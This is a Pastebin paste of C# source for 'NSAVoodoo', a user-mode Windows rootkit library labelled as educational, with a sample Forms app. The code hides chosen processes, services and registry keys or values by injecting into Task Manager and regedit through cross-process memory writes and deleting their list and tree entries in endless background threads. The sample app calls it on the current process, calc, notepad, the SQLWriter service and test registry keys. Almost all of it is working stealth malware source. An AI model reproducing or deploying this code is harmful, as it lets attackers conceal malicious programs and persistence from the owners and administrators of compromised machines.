Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // NSAVoodoo - C# (.NET Framework 2) - by Ollydbg .:: http://blogs.gamefilia.com/ollydbg ::.
- // (Api.cs & Rootkit.cs)
- // Requiered references:
- // System.Management
- // System.Windows.Forms
- // Compile as Class Library - AnyCPU
- // For ### educational poruposes ONLY ###
- // Api.cs -----------------------------------------------------------------------------------------
- using System;
- using System.Runtime.InteropServices;
- namespace NSAVoodooCore
- {
- internal class Api
- {
- [DllImport("user32.dll", SetLastError = true)]
- public static extern IntPtr FindWindowEx(IntPtr hwndParent, IntPtr hwndChildAfter, string lpszClass, string lpszWindow);
- [DllImport("user32.dll")]
- public static extern IntPtr GetDlgItem(IntPtr hDlg, int nIDDlgItem);
- [DllImport("user32.dll")]
- public static extern bool EnableWindow(IntPtr hWnd, bool bEnable);
- [DllImport("user32.dll")]
- public static extern IntPtr GetMenu(IntPtr hWnd);
- [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- public static extern IntPtr GetSubMenu(IntPtr hMenu, int nPos);
- [DllImport("user32.dll")]
- public static extern uint GetMenuItemID(IntPtr hMenu, int nPos);
- [DllImport("user32.dll")]
- public static extern bool EnableMenuItem(IntPtr hMenu, uint uIDEnableItem, uint uEnable);
- [DllImport("user32.dll")]
- public static extern bool RemoveMenu(IntPtr hMenu, uint uPosition, uint uFlags);
- [DllImport("user32.dll", CharSet = CharSet.Auto)]
- public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
- [DllImport("user32.dll", CharSet = CharSet.Auto)]
- public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, string lParam);
- [DllImport("user32.dll", CharSet = CharSet.Auto)]
- public static extern IntPtr SendMessage(IntPtr hWnd, [MarshalAs(UnmanagedType.U4)] int msg, IntPtr wParam, ref Api.TvItem item);
- [DllImport("user32.dll")]
- public static extern int SendMessage(IntPtr hWnd, int Msg, uint wParam, IntPtr lParam);
- [DllImport("user32.dll")]
- public static extern bool LockWindowUpdate(IntPtr hWndLock);
- [DllImport("user32.dll")]
- public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);
- [DllImport("user32.dll")]
- [return: MarshalAs(UnmanagedType.Bool)]
- public static extern bool GetWindowPlacement(IntPtr hWnd, ref Api.WindowPlacement lpwndpl);
- [DllImport("kernel32.dll")]
- public static extern IntPtr OpenProcess(uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, int dwProcessId);
- [DllImport("kernel32.dll")]
- public static extern bool CloseHandle(IntPtr hObject);
- [DllImport("kernel32.dll", SetLastError = true)]
- public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
- [DllImport("kernel32.dll", SetLastError = true)]
- public static extern bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint dwFreeType);
- [DllImport("kernel32.dll")]
- public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr baseAddress, byte[] buffer, int dwSize, out int numberOfBytesRead);
- [DllImport("kernel32.dll")]
- public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, int dwSize, int lpNumberOfBytesRead);
- [DllImport("kernel32.dll")]
- public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, ref Api.TvItem buffer, int dwSize, IntPtr lpNumberOfBytesWritten);
- [DllImport("kernel32.dll", SetLastError = true)]
- public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
- [DllImport("kernel32.dll")]
- public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, ref Api.LvItem buffer, int dwSize, int lpNumberOfBytesWritten);
- [DllImport("kernel32.dll")]
- public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, int dwSize, IntPtr lpNumberOfBytesRead);
- [DllImport("user32.dll", SetLastError = true)]
- public static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
- [DllImport("user32.dll")]
- public static extern IntPtr GetWindowThreadProcessId(IntPtr hWnd, out int lpwdProcessID);
- public struct LvItem
- {
- public uint mask;
- public int iItem;
- public int iSubItem;
- public uint state;
- public uint stateMask;
- public IntPtr pszText;
- public int cchTextMax;
- public int iImage;
- }
- public struct TvItem
- {
- public int mask;
- public IntPtr hItem;
- public int state;
- public int stateMask;
- public IntPtr pszText;
- public int cchTextMax;
- public int iImage;
- public int iSelectedImage;
- public int cChildren;
- public IntPtr lParam;
- public int iIntegral;
- }
- public struct Rect
- {
- private int left;
- private int top;
- private int right;
- private int bottom;
- }
- public struct Point
- {
- private int x;
- private int y;
- }
- public struct WindowPlacement
- {
- public int length;
- public int flags;
- public int showCmd;
- public Api.Point ptMinPosition;
- public Api.Point ptMaxPosition;
- public Api.Rect rcNormalPosition;
- }
- }
- }
- // Rootkit.cs -----------------------------------------------------------------------------------------
- using System;
- using System.Collections.Generic;
- using Microsoft.Win32;
- using System.Diagnostics;
- using System.Management;
- using System.Runtime.InteropServices;
- using System.Threading;
- namespace NSAVoodooCore
- {
- public static class Rootkit
- {
- private static DateTime TaskManagerTime = DateTime.Now;
- private static List<string[]> RegistryKeys = new List<string[]>();
- private static bool Initialized1;
- private static bool Initialized2;
- private static bool Initialized3;
- private static bool Initialized4;
- private static int TaskManagerCount;
- private static bool TaskManagerReload;
- static Rootkit()
- {
- }
- public static void HideProcess(Process process)
- {
- if (!Rootkit.Initialized1)
- Rootkit.Initialize(1);
- Rootkit.Proc proc = new Rootkit.Proc(process);
- Rootkit.TaskManagerReload = true;
- }
- private static Process GetProcess(string processName)
- {
- Process[] processList = Process.GetProcessesByName(processName);
- if (processList.Length == 0)
- return null;
- foreach (var process in processList)
- {
- return process;
- }
- return null;
- }
- public static void HideProcess(string processName)
- {
- if (!Rootkit.Initialized1)
- Rootkit.Initialize(1);
- Process p = GetProcess(processName);
- if (p != null)
- {
- Rootkit.Proc proc = new Rootkit.Proc(p);
- Rootkit.TaskManagerReload = true;
- }
- else
- {
- throw new Exception("Process Not Found");
- }
- }
- public static void HideService(string serviceName)
- {
- if (!Rootkit.Initialized4)
- Rootkit.Initialize(4);
- Rootkit.Svc svc = new Rootkit.Svc(serviceName);
- Rootkit.TaskManagerReload = true;
- }
- public static void HideRegistryValue(RegistryKey key, string value)
- {
- if (!Rootkit.Initialized2)
- Rootkit.Initialize(2);
- Rootkit.RegVal regVal = new Rootkit.RegVal(key, value);
- }
- public static void HideRegistryKey(RegistryKey key)
- {
- if (!Rootkit.Initialized3)
- Rootkit.Initialize(3);
- bool bExist = false;
- lock (Rootkit.RegistryKeys)
- {
- foreach (var registryKey in RegistryKeys)
- {
- bool bAreEqual = false;
- string[] k = key.Name.ToLower().Split(new char[1]
- {
- '\\'
- });
- if (registryKey.Length == k.Length)
- {
- for (int i = 0; i < registryKey.Length; i++)
- {
- if (registryKey[i] == k[i])
- {
- bAreEqual = true;
- }
- else
- {
- bAreEqual = false;
- break;
- }
- }
- }
- if (bAreEqual)
- {
- bExist = true;
- break;
- }
- }
- if (bExist == false)
- Rootkit.RegistryKeys.Add(key.Name.ToLower().Split(new char[1]
- {
- '\\'
- }));
- }
- }
- private static void Initialize(int proc)
- {
- switch (proc)
- {
- case 1:
- new Thread((ThreadStart)(() =>
- {
- while (true)
- {
- Rootkit._HideProcess();
- Thread.Sleep(10);
- }
- })).Start();
- Rootkit.Initialized1 = true;
- break;
- case 2:
- new Thread((ThreadStart)(() =>
- {
- while (true)
- Thread.Sleep(Rootkit._HideRegistryValue() ? 10 : 250);
- })).Start();
- Rootkit.Initialized2 = true;
- break;
- case 3:
- new Thread((ThreadStart)(() =>
- {
- while (true)
- Thread.Sleep(Rootkit._HideRegistryKey() ? 10 : 250);
- })).Start();
- Rootkit.Initialized3 = true;
- break;
- case 4:
- new Thread((ThreadStart)(() =>
- {
- while (true)
- {
- Rootkit._HideService();
- Thread.Sleep(10);
- }
- })).Start();
- Rootkit.Initialized4 = true;
- break;
- }
- }
- private static void _HideProcess()
- {
- try
- {
- IntPtr mainWindowHandle = Process.GetProcessesByName("taskmgr")[0].MainWindowHandle;
- Api.WindowPlacement lpwndpl = new Api.WindowPlacement();
- lpwndpl.length = Marshal.SizeOf((object)lpwndpl);
- Api.GetWindowPlacement(mainWindowHandle, ref lpwndpl);
- bool flag1 = lpwndpl.showCmd == 1 || lpwndpl.showCmd == 3;
- IntPtr dlgItem = Api.GetDlgItem(Api.FindWindowEx(mainWindowHandle, IntPtr.Zero, (string)null, (string)null), 1009);
- IntPtr menu = Api.GetMenu(mainWindowHandle);
- IntPtr subMenu1 = Api.GetSubMenu(menu, 2);
- IntPtr subMenu2 = Api.GetSubMenu(subMenu1, 1);
- uint menuItemId = Api.GetMenuItemID(subMenu1, 0);
- if (subMenu2 != IntPtr.Zero)
- {
- Api.SendMessage(mainWindowHandle, 273U, (IntPtr)((long)Api.GetMenuItemID(subMenu2, 3)), IntPtr.Zero);
- Api.RemoveMenu(subMenu1, (uint)(int)subMenu2, 1U);
- }
- Api.EnableMenuItem(menu, menuItemId, 1U);
- if (flag1)
- Api.LockWindowUpdate(dlgItem);
- if ((DateTime.Now - Rootkit.TaskManagerTime).TotalMilliseconds > 1000.0)
- {
- Api.SendMessage(mainWindowHandle, 273U, (IntPtr)((long)menuItemId), IntPtr.Zero);
- Rootkit.TaskManagerTime = DateTime.Now;
- }
- GC.Collect();
- int num = (int)Api.SendMessage(dlgItem, 4100U, IntPtr.Zero, "");
- if (num != Rootkit.TaskManagerCount || Rootkit.TaskManagerReload)
- {
- Rootkit.TaskManagerReload = false;
- Rootkit.TaskManagerCount = num;
- for (int index1 = 0; index1 < num; ++index1)
- {
- string[] strArray = new string[10];
- for (int subitem = 0; subitem < 10; ++subitem)
- {
- strArray[subitem] = Rootkit.GetListViewItem(dlgItem, index1, subitem).ToLower();
- if (subitem > 0 && strArray[subitem] == strArray[0])
- break;
- }
- foreach (Rootkit.Proc proc in Rootkit.Proc.List)
- {
- bool flag2 = false;
- bool flag3 = false;
- for (int index2 = 0; index2 < 10 && strArray[index2] != null && (!flag2 || !flag3); ++index2)
- {
- if (strArray[index2].StartsWith(proc.Name))
- flag2 = true;
- else if (strArray[index2] == proc.User)
- flag3 = true;
- }
- if (flag2 && flag3)
- {
- Api.SendMessage(dlgItem, 4104U, (IntPtr)index1--, IntPtr.Zero);
- --Rootkit.TaskManagerCount;
- break;
- }
- }
- }
- }
- if (!flag1)
- return;
- Api.LockWindowUpdate(IntPtr.Zero);
- }
- catch
- {
- }
- }
- private static void _HideService()
- {
- try
- {
- IntPtr mainWindowHandle = Process.GetProcessesByName("taskmgr")[0].MainWindowHandle;
- Api.WindowPlacement lpwndpl = new Api.WindowPlacement();
- lpwndpl.length = Marshal.SizeOf((object)lpwndpl);
- Api.GetWindowPlacement(mainWindowHandle, ref lpwndpl);
- bool flag1 = lpwndpl.showCmd == 1 || lpwndpl.showCmd == 3;
- IntPtr dlgItem = Api.GetDlgItem(Api.FindWindowEx(mainWindowHandle, IntPtr.Zero, (string)null, (string)null), 3504);
- IntPtr menu = Api.GetMenu(mainWindowHandle);
- IntPtr subMenu1 = Api.GetSubMenu(menu, 2);
- IntPtr subMenu2 = Api.GetSubMenu(subMenu1, 1);
- uint menuItemId = Api.GetMenuItemID(subMenu1, 0);
- if (subMenu2 != IntPtr.Zero)
- {
- Api.SendMessage(mainWindowHandle, 273U, (IntPtr)((long)Api.GetMenuItemID(subMenu2, 3)), IntPtr.Zero);
- Api.RemoveMenu(subMenu1, (uint)(int)subMenu2, 1U);
- }
- Api.EnableMenuItem(menu, menuItemId, 1U);
- if (flag1)
- Api.LockWindowUpdate(dlgItem);
- if ((DateTime.Now - Rootkit.TaskManagerTime).TotalMilliseconds > 1000.0)
- {
- Api.SendMessage(mainWindowHandle, 273U, (IntPtr)((long)menuItemId), IntPtr.Zero);
- Rootkit.TaskManagerTime = DateTime.Now;
- }
- GC.Collect();
- int num = (int)Api.SendMessage(dlgItem, 4100U, IntPtr.Zero, "");
- if (num != Rootkit.TaskManagerCount || Rootkit.TaskManagerReload)
- {
- Rootkit.TaskManagerReload = false;
- Rootkit.TaskManagerCount = num;
- for (int index1 = 0; index1 < num; ++index1)
- {
- string[] strArray = new string[10];
- for (int subitem = 0; subitem < 10; ++subitem)
- {
- strArray[subitem] = Rootkit.GetListViewItem(dlgItem, index1, subitem).ToLower();
- if (subitem > 0 && strArray[subitem] == strArray[0])
- break;
- }
- foreach (Rootkit.Svc svc in Rootkit.Svc.List)
- {
- bool flag2 = false;
- bool flag3 = true;//false;
- for (int index2 = 0; index2 < 10 && strArray[index2] != null && (!flag2 || !flag3); ++index2)
- {
- if (strArray[index2].StartsWith(svc.Name))
- flag2 = true;
- //else if (strArray[index2] == svc.User)
- // flag3 = true;
- }
- if (flag2 && flag3)
- {
- Api.SendMessage(dlgItem, 4104U, (IntPtr)index1--, IntPtr.Zero);
- //--Rootkit.TaskManagerCount;
- break;
- }
- }
- }
- }
- if (!flag1)
- return;
- Api.LockWindowUpdate(IntPtr.Zero);
- }
- catch
- {
- }
- }
- private static bool _HideRegistryValue()
- {
- bool flag = false;
- try
- {
- IntPtr mainWindowHandle = Process.GetProcessesByName("regedit")[0].MainWindowHandle;
- flag = true;
- Api.FindWindowEx(mainWindowHandle, IntPtr.Zero, (string)null, (string)null);
- IntPtr dlgItem = Api.GetDlgItem(mainWindowHandle, 2);
- string statusBarText = Rootkit.GetStatusBarText(Api.GetDlgItem(mainWindowHandle, 3), 0);
- string str = statusBarText.Substring(statusBarText.IndexOf("\\") + 1).ToLower();
- int num1 = 0;
- RegistryKey registryKey = (RegistryKey)null;
- foreach (Rootkit.RegVal regVal in Rootkit.RegVal.List)
- {
- if (regVal.Key == str)
- {
- registryKey = regVal.RegKey;
- ++num1;
- }
- }
- if (num1 > 0)
- {
- int num2 = (int)Api.SendMessage(dlgItem, 4100U, IntPtr.Zero, IntPtr.Zero);
- if (num2 != registryKey.ValueCount + 1 - num1)
- {
- Api.LockWindowUpdate(dlgItem);
- for (int index = 1; index < num2; ++index)
- {
- foreach (Rootkit.RegVal regVal in Rootkit.RegVal.List)
- {
- if (regVal.Key == str && regVal.Value == Rootkit.GetListViewItem(dlgItem, index, 0).ToLower())
- Api.SendMessage(dlgItem, 4104U, (IntPtr)index--, IntPtr.Zero);
- }
- }
- Api.LockWindowUpdate(IntPtr.Zero);
- }
- }
- }
- catch
- {
- }
- return flag;
- }
- private static bool _HideRegistryKey()
- {
- bool flag = false;
- try
- {
- IntPtr mainWindowHandle = Process.GetProcessesByName("regedit")[0].MainWindowHandle;
- flag = true;
- Api.FindWindowEx(mainWindowHandle, IntPtr.Zero, (string)null, (string)null);
- IntPtr dlgItem = Api.GetDlgItem(mainWindowHandle, 1);
- int index = Api.SendMessage(dlgItem, 4362, 4U, (IntPtr)Api.SendMessage(dlgItem, 4362, 0U, IntPtr.Zero));
- IntPtr num1 = Marshal.AllocHGlobal(1024);
- int lpwdProcessID;
- Api.GetWindowThreadProcessId(dlgItem, out lpwdProcessID);
- IntPtr num2 = Api.OpenProcess(2035711U, false, lpwdProcessID);
- IntPtr num3 = Api.VirtualAllocEx(num2, IntPtr.Zero, 1024U, 4096U, 4U);
- Rootkit.ExtractRegKey(num2, dlgItem, index, num1, num3, new List<string>());
- Marshal.FreeHGlobal(num1);
- Api.VirtualFreeEx(num2, num3, 0, 32768U);
- Api.CloseHandle(num2);
- GC.Collect();
- }
- catch
- {
- }
- return flag;
- }
- private static void ExtractRegKey(IntPtr hProcess, IntPtr hTreeview, int index, IntPtr lpLocalBuffer, IntPtr lpRemoteBuffer, List<string> stack)
- {
- for (; index > 0; index = Api.SendMessage(hTreeview, 4362, 1U, (IntPtr)index))
- {
- Api.TvItem apitvitem = new Api.TvItem()
- {
- mask = 1,
- hItem = (IntPtr)index,
- pszText = (IntPtr)((int)lpRemoteBuffer + Marshal.SizeOf(typeof(Api.TvItem))),
- cchTextMax = (int)byte.MaxValue
- };
- Api.WriteProcessMemory(hProcess, lpRemoteBuffer, ref apitvitem, Marshal.SizeOf(typeof(Api.TvItem)), IntPtr.Zero);
- Api.SendMessage(hTreeview, 4364, 0U, lpRemoteBuffer);
- Api.ReadProcessMemory(hProcess, lpRemoteBuffer, lpLocalBuffer, 1024, IntPtr.Zero);
- string str = Marshal.PtrToStringAnsi((IntPtr)((int)lpLocalBuffer + Marshal.SizeOf(typeof(Api.TvItem)))).ToLower();
- if (index > 0)
- {
- int index1 = Api.SendMessage(hTreeview, 4362, 4U, (IntPtr)index);
- stack.Add(str);
- bool flag1 = false;
- foreach (string[] strArray in Rootkit.RegistryKeys)
- {
- if (stack.Count == strArray.Length)
- {
- bool flag2 = true;
- for (int index2 = 0; index2 < stack.Count; ++index2)
- {
- if (stack[index2] != strArray[index2])
- {
- flag2 = false;
- break;
- }
- }
- if (flag2)
- {
- flag1 = true;
- break;
- }
- }
- }
- stack.RemoveAt(stack.Count - 1);
- if (flag1)
- Api.SendMessage(hTreeview, 4353, 4U, (IntPtr)index);
- else if (index1 > 0)
- {
- stack.Add(str);
- Rootkit.ExtractRegKey(hProcess, hTreeview, index1, lpLocalBuffer, lpRemoteBuffer, new List<string>((IEnumerable<string>)stack.ToArray()));
- stack.RemoveAt(stack.Count - 1);
- }
- }
- }
- }
- private static string GetStatusBarText(IntPtr handle, int index)
- {
- int dwSize = ((int)Api.SendMessage(handle, 1036U, (IntPtr)index, IntPtr.Zero) & (int)ushort.MaxValue) * 2;
- uint lpdwProcessId = 0U;
- int num1 = (int)Api.GetWindowThreadProcessId(handle, out lpdwProcessId);
- IntPtr num2 = Api.OpenProcess(2033663U, false, (int)lpdwProcessId);
- IntPtr num3 = Api.VirtualAllocEx(num2, IntPtr.Zero, (uint)dwSize, 12288U, 4U);
- int numberOfBytesRead = 0;
- byte[] buffer = new byte[dwSize];
- Api.SendMessage(handle, 1037U, (IntPtr)index, num3);
- Api.ReadProcessMemory(num2, num3, buffer, dwSize, out numberOfBytesRead);
- string str = "";
- int index1 = 0;
- while (index1 < buffer.Length)
- {
- str = str + (object)Convert.ToChar((int)buffer[index1] | (int)buffer[index1 + 1] << 8);
- index1 += 2;
- }
- Api.CloseHandle(num2);
- return str;
- }
- private static string GetListViewItem(IntPtr hWnd, int index, int subitem)
- {
- Api.LvItem buffer = new Api.LvItem();
- IntPtr num1 = Marshal.AllocHGlobal(1024);
- uint lpdwProcessId;
- int num2 = (int)Api.GetWindowThreadProcessId(hWnd, out lpdwProcessId);
- IntPtr num3 = Api.OpenProcess(2035711U, false, (int)lpdwProcessId);
- IntPtr num4 = Api.VirtualAllocEx(num3, IntPtr.Zero, 1024U, 4096U, 4U);
- buffer.mask = 1U;
- buffer.iItem = index;
- buffer.iSubItem = subitem;
- buffer.pszText = (IntPtr)((int)num4 + Marshal.SizeOf(typeof(Api.LvItem)));
- buffer.cchTextMax = 50;
- Api.WriteProcessMemory(num3, num4, ref buffer, Marshal.SizeOf(typeof(Api.LvItem)), 0);
- Api.SendMessage(hWnd, 4101U, IntPtr.Zero, num4);
- Api.ReadProcessMemory(num3, num4, num1, 1024, 0);
- string str = Marshal.PtrToStringAnsi((IntPtr)((int)num1 + Marshal.SizeOf(typeof(Api.LvItem))));
- Marshal.FreeHGlobal(num1);
- Api.VirtualFreeEx(num3, num4, 0, 32768U);
- Api.CloseHandle(num3);
- return str;
- }
- private static string GetProcessUser(Process process)
- {
- foreach (ManagementObject managementObject in new ManagementObjectSearcher("Select * From Win32_Process Where ProcessID = " + (object)process.Id).Get())
- {
- string[] strArray = new string[1]
- {
- ""
- };
- if (Convert.ToInt32(managementObject.InvokeMethod("GetOwner", (object[])strArray)) == 0)
- return strArray[0];
- }
- return "";
- }
- private class Svc
- {
- public static List<Rootkit.Svc> List = new List<Svc>();
- public string Name;
- static Svc()
- {
- }
- public Svc(string serviceName)
- {
- this.Name = serviceName.ToLower();
- bool bExist = false;
- lock (Rootkit.Svc.List)
- {
- foreach (var svc in List)
- {
- if (svc.Name == this.Name)
- {
- bExist = true;
- break;
- }
- }
- if (bExist == false)
- Rootkit.Svc.List.Add(this);
- }
- }
- }
- private class Proc
- {
- public static List<Rootkit.Proc> List = new List<Rootkit.Proc>();
- public string Name;
- public string User;
- static Proc()
- {
- }
- public Proc(Process proc)
- {
- this.Name = proc.ProcessName.ToLower();
- this.User = Rootkit.GetProcessUser(proc).ToLower();
- bool bExist = false;
- lock (Rootkit.Proc.List)
- {
- foreach (var proc1 in List)
- {
- if (proc1.Name == this.Name)
- {
- bExist = true;
- break;
- }
- }
- if (bExist == false)
- Rootkit.Proc.List.Add(this);
- }
- }
- }
- private class RegVal
- {
- public static List<Rootkit.RegVal> List = new List<Rootkit.RegVal>();
- public RegistryKey RegKey;
- public string Key;
- public string Value;
- static RegVal()
- {
- }
- public RegVal(RegistryKey key, string value)
- {
- this.RegKey = key;
- this.Key = key.Name.ToLower();
- this.Value = value.ToLower();
- bool bExist = false;
- lock (Rootkit.RegVal.List)
- {
- foreach (var regVal in List)
- {
- if (regVal.Key == this.Key && regVal.Value == this.Value)
- {
- bExist = true;
- break;
- }
- }
- }
- if (bExist==false)
- Rootkit.RegVal.List.Add(this);
- }
- }
- }
- }
- // Example of use -----------------------------------------------------------------------------------------
- // Windows forms aplication. Target: AnyCPU (<---MUST)
- // Add Reference to NSAVoodooCore
- // Note: HideRegistryKey & HideRegistryValue requiered admin rights in Vista/7
- using System;
- using System.Windows.Forms;
- using Microsoft.Win32;
- namespace testA
- {
- public partial class Form1 : Form
- {
- public Form1()
- {
- InitializeComponent();
- this.FormClosing += new FormClosingEventHandler(Form1_FormClosing);
- }
- void Form1_FormClosing(object sender, FormClosingEventArgs e)
- {
- GC.Collect();
- Environment.Exit(Environment.ExitCode);
- }
- private void button1_Click(object sender, EventArgs e)
- {
- NSAVoodooCore.Rootkit.HideProcess(System.Diagnostics.Process.GetCurrentProcess());
- }
- private void button2_Click(object sender, EventArgs e)
- {
- NSAVoodooCore.Rootkit.HideProcess("calc");
- }
- private void button3_Click(object sender, EventArgs e)
- {
- NSAVoodooCore.Rootkit.HideProcess("notepad");
- }
- private void button4_Click(object sender, EventArgs e)
- {
- NSAVoodooCore.Rootkit.HideService("SQLWriter");
- }
- private void button5_Click(object sender, EventArgs e)
- {
- RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\test\a");
- NSAVoodooCore.Rootkit.HideRegistryKey(key);
- }
- private void button7_Click(object sender, EventArgs e)
- {
- RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\test\b");
- NSAVoodooCore.Rootkit.HideRegistryValue(key,"key2");
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement